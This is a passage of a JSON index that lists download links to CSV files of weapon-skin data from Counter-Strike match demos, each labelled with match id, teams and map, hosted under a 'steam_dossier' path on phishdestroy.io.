            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m3-anubis.dem.skins.csv"
          },
          {
            "label": "86066_heroic-vs-pain-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m1-nuke.dem.skins.csv"
          },
          {
            "label": "86066_heroic-vs-pain-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m2-mirage.dem.skins.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m1-mirage.dem.skins.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m2-ancient.dem.skins.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m3-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m3-overpass.dem.skins.csv"
          },
          {
            "label": "86074_complexity-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "86074_complexity-vs-faze-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m2-overpass.dem.skins.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m1-overpass.dem.skins.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m2-inferno.dem.skins.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m3-anubis.dem.skins.csv"
          },
          {
            "label": "86078_natus-vincere-vs-pain-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m1-nuke.dem.skins.csv"
          },
          {
            "label": "86078_natus-vincere-vs-pain-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m2-mirage.dem.skins.csv"
          },
          {
            "label": "86154_cloud9-vs-vitality-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m1-inferno.dem.skins.csv"
          },
          {
            "label": "86154_cloud9-vs-vitality-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m2-anubis.dem.skins.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m1-mirage.dem.skins.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m2-nuke.dem.skins.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m3-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m3-vertigo.dem.skins.csv"
          },
          {
            "label": "86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.skins.csv"
          },
          {
            "label": "86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.skins.csv"
          },
          {
            "label": "86175_mouz-vs-g2-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m1-inferno.dem.skins.csv"
          },
          {
            "label": "86175_mouz-vs-g2-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m3-inferno.dem.skins.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m1-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m1-anubis.dem.skins.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m2-nuke.dem.skins.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m3-ancient.dem.skins.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m1-ancient.dem.skins.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m2-mirage.dem.skins.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m3-inferno.dem.skins.csv"
          },
          {
            "label": "92883_natus-vincere-vs-liquid-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92883_natus-vincere-vs-liquid-nuke.dem.skins.csv"
          },
          {
            "label": "92884_vitality-vs-gamerlegion-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92884_vitality-vs-gamerlegion-mirage.dem.skins.csv"
          },
          {
            "label": "92885_g2-vs-the-mongolz-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92885_g2-vs-the-mongolz-inferno.dem.skins.csv"
          },
          {
            "label": "92886_spirit-vs-furia-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92886_spirit-vs-furia-dust2.dem.skins.csv"
          },
          {
            "label": "92887_mouz-vs-pain-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92887_mouz-vs-pain-nuke.dem.skins.csv"
          },
          {
            "label": "92888_faze-vs-wildcard-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92888_faze-vs-wildcard-ancient.dem.skins.csv"
          },
          {
            "label": "92889_heroic-vs-big-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92889_heroic-vs-big-mirage.dem.skins.csv"
          },
          {
            "label": "92890_3dmax-vs-mibr-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92890_3dmax-vs-mibr-vertigo.dem.skins.csv"
          },
          {
            "label": "92894_liquid-vs-gamerlegion-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92894_liquid-vs-gamerlegion-inferno.dem.skins.csv"
          },
          {
            "label": "92895_vitality-vs-furia-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92895_vitality-vs-furia-mirage.dem.skins.csv"
          },
          {
            "label": "92896_mouz-vs-the-mongolz-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92896_mouz-vs-the-mongolz-mirage.dem.skins.csv"
          },
          {
            "label": "92897_spirit-vs-wildcard-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92897_spirit-vs-wildcard-ancient.dem.skins.csv"
          },
          {
            "label": "92898_g2-vs-big-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92898_g2-vs-big-mirage.dem.skins.csv"
          },
          {
            "label": "92902_natus-vincere-vs-mibr-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92902_natus-vincere-vs-mibr-inferno.dem.skins.csv"
          },
          {
            "label": "92905_faze-vs-heroic-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92905_faze-vs-heroic-ancient.dem.skins.csv"
          },
          {
            "label": "92906_3dmax-vs-pain-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92906_3dmax-vs-pain-dust2.dem.skins.csv"
          },
          {
            "label": "92915_natus-vincere-vs-spirit-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92915_natus-vincere-vs-spirit-mirage.dem.skins.csv"
          },
          {
            "label": "92916_furia-vs-liquid-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92916_furia-vs-liquid-inferno.dem.skins.csv"
          },
          {
            "label": "92918_g2-vs-3dmax-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92918_g2-vs-3dmax-ancient.dem.skins.csv"
          },
          {
            "label": "92919_mouz-vs-faze-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92919_mouz-vs-faze-inferno.dem.skins.csv"
          },
          {
            "label": "92921_vitality-vs-mibr-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92921_vitality-vs-mibr-m1-mirage.dem.skins.csv"
          },
          {
            "label": "92921_vitality-vs-mibr-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92921_vitality-vs-mibr-m2-anubis.dem.skins.csv"
          },
          {
            "label": "92922_gamerlegion-vs-wildcard-m1-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92922_gamerlegion-vs-wildcard-m1-dust2.dem.skins.csv"
          },
          {
            "label": "92922_gamerlegion-vs-wildcard-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92922_gamerlegion-vs-wildcard-m2-ancient.dem.skins.csv"
          },
          {
            "label": "92922_gamerlegion-vs-wildcard-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92922_gamerlegion-vs-wildcard-m3-anubis.dem.skins.csv"
          },
          {
            "label": "92925_big-vs-pain-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92925_big-vs-pain-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "92925_big-vs-pain-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92925_big-vs-pain-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "92925_big-vs-pain-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92925_big-vs-pain-m3-mirage.dem.skins.csv"
          },
          {
            "label": "92926_the-mongolz-vs-heroic-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92926_the-mongolz-vs-heroic-m1-mirage.dem.skins.csv"
          },
          {
            "label": "92926_the-mongolz-vs-heroic-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92926_the-mongolz-vs-heroic-m2-anubis.dem.skins.csv"
          },
          {
            "label": "92926_the-mongolz-vs-heroic-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92926_the-mongolz-vs-heroic-m3-ancient.dem.skins.csv"
          },
          {
            "label": "92943_big-vs-faze-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m1-inferno.dem.skins.csv"
          },
          {
            "label": "92943_big-vs-faze-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m2-mirage.dem.skins.csv"
          },
          {
            "label": "92948_natus-vincere-vs-gamerlegion-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92948_natus-vincere-vs-gamerlegion-m1-nuke.dem.skins.csv"
          },
          {
            "label": "92948_natus-vincere-vs-gamerlegion-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92948_natus-vincere-vs-gamerlegion-m2-mirage.dem.skins.csv"
          },
          {
            "label": "92949_mouz-vs-3dmax-m1-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92949_mouz-vs-3dmax-m1-dust2.dem.skins.csv"
          },
          {
            "label": "92949_mouz-vs-3dmax-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92949_mouz-vs-3dmax-m2-nuke.dem.skins.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m1-mirage.dem.skins.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m2-nuke.dem.skins.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m3-anubis.dem.skins.csv"
          },
          {
            "label": "92953_furia-vs-pain-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "92953_furia-vs-pain-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m2-mirage.dem.skins.csv"
          },
          {
            "label": "92953_furia-vs-pain-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m3-inferno.dem.skins.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m1-ancient.dem.skins.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m2-mirage.dem.skins.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m3-dust2.dem.skins.csv"
          },
          {
            "label": "92980_mibr-vs-mouz-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m1-mirage.dem.skins.csv"
          },
          {
            "label": "92980_mibr-vs-mouz-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m2-nuke.dem.skins.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m1-mirage.dem.skins.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m2-nuke.dem.skins.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m3-ancient.dem.skins.csv"
          },
          {
            "label": "92984_faze-vs-furia-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m1-inferno.dem.skins.csv"
          },
          {
            "label": "92984_faze-vs-furia-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m2-dust2.dem.skins.csv"
          },
          {
            "label": "92984_faze-vs-furia-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m3-mirage.dem.skins.csv"
          },
          {
            "label": "93035_the-mongolz-vs-mouz-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m1-ancient.dem.skins.csv"
          },
          {
            "label": "93035_the-mongolz-vs-mouz-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m2-nuke.dem.skins.csv"
          },
          {
            "label": "93037_spirit-vs-liquid-m1-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m1-anubis.dem.skins.csv"
          },
          {
            "label": "93037_spirit-vs-liquid-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m2-dust2.dem.skins.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m1-ancient.dem.skins.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m2-nuke.dem.skins.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m3-mirage.dem.skins.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m2-mirage.dem.skins.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m3-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m3-anubis.dem.skins.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m1-nuke.dem.skins.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m2-ancient.dem.skins.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m3-mirage.dem.skins.csv"
          },
          {
            "label": "93076_g2-vs-faze-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m1-ancient.dem.skins.csv"
          },
          {
            "label": "93076_g2-vs-faze-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m2-nuke.dem.skins.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m2-ancient.dem.skins.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m3-dust2.dem.skins.csv"
          },
          {
            "label": "97737_vitality-vs-legacy-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97737_vitality-vs-legacy-inferno.dem.skins.csv"
          },
          {
            "label": "97739_mouz-vs-virtuspro-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97739_mouz-vs-virtuspro-mirage.dem.skins.csv"
          },
          {
            "label": "97740_spirit-vs-pain-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97740_spirit-vs-pain-dust2.dem.skins.csv"
          },
          {
            "label": "97741_g2-vs-3dmax-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97741_g2-vs-3dmax-nuke.dem.skins.csv"
          },
          {
            "label": "97743_aurora-vs-faze-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97743_aurora-vs-faze-anubis.dem.skins.csv"
          },
          {
            "label": "97745_the-mongolz-vs-furia-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97745_the-mongolz-vs-furia-inferno.dem.skins.csv"
          },
          {
            "label": "97747_natus-vincere-vs-nemiga-train.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97747_natus-vincere-vs-nemiga-train.dem.skins.csv"
          },
          {
            "label": "97748_liquid-vs-lynn-vision-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97748_liquid-vs-lynn-vision-dust2.dem.skins.csv"
          },
          {
            "label": "97750_aurora-vs-furia-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97750_aurora-vs-furia-dust2.dem.skins.csv"
          },
          {
            "label": "97751_virtus-pro-vs-legacy-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97751_virtus-pro-vs-legacy-ancient.dem.skins.csv"
          },
          {
            "label": "97752_3dmax-vs-natus-vincere-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97752_3dmax-vs-natus-vincere-inferno.dem.skins.csv"
          },
          {
            "label": "97753_spirit-vs-lynn-vision-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97753_spirit-vs-lynn-vision-dust2.dem.skins.csv"
          },
          {
            "label": "97754_mouz-vs-faze-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97754_mouz-vs-faze-ancient.dem.skins.csv"
          },
          {
            "label": "97755_vitality-vs-nemiga-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97755_vitality-vs-nemiga-dust2.dem.skins.csv"
          },
          {
            "label": "97756_the-mongolz-vs-liquid-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97756_the-mongolz-vs-liquid-ancient.dem.skins.csv"
          },
          {
            "label": "97757_g2-vs-pain-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97757_g2-vs-pain-dust2.dem.skins.csv"
          },
          {
            "label": "97769_3dmax-vs-vitality-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97769_3dmax-vs-vitality-nuke.dem.skins.csv"
          },
          {
            "label": "97770_legacy-vs-faze-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97770_legacy-vs-faze-anubis.dem.skins.csv"
          },
          {
            "label": "97772_aurora-vs-g2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97772_aurora-vs-g2-inferno.dem.skins.csv"
          },
          {
            "label": "97773_the-mongolz-vs-lynn-vision-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97773_the-mongolz-vs-lynn-vision-nuke.dem.skins.csv"
          },
          {
            "label": "97775_furia-vs-virtus-pro-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97775_furia-vs-virtus-pro-m1-mirage.dem.skins.csv"
          },
          {
            "label": "97775_furia-vs-virtus-pro-m2-train.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97775_furia-vs-virtus-pro-m2-train.dem.skins.csv"
          },
          {
            "label": "97776_spirit-vs-natus-vincere-m1-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m1-anubis.dem.skins.csv"
          },
          {
            "label": "97776_spirit-vs-natus-vincere-m2-train.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m2-train.dem.skins.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m1-ancient.dem.skins.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m2-anubis.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m2-anubis.dem.skins.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m3-dust2.dem.skins.csv"
          },
          {
            "label": "97791_mouz-vs-liquid-m1-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97791_mouz-vs-liquid-m1-dust2.dem.skins.csv"
          },
          {
            "label": "97791_mouz-vs-liquid-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97791_mouz-vs-liquid-m2-nuke.dem.skins.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m1-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m1-dust2.dem.skins.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m2-inferno.dem.skins.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m3-nuke.dem.skins.csv"
          },
          {
            "label": "97820_3dmax-vs-pain-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m1-inferno.dem.skins.csv"
          },
          {
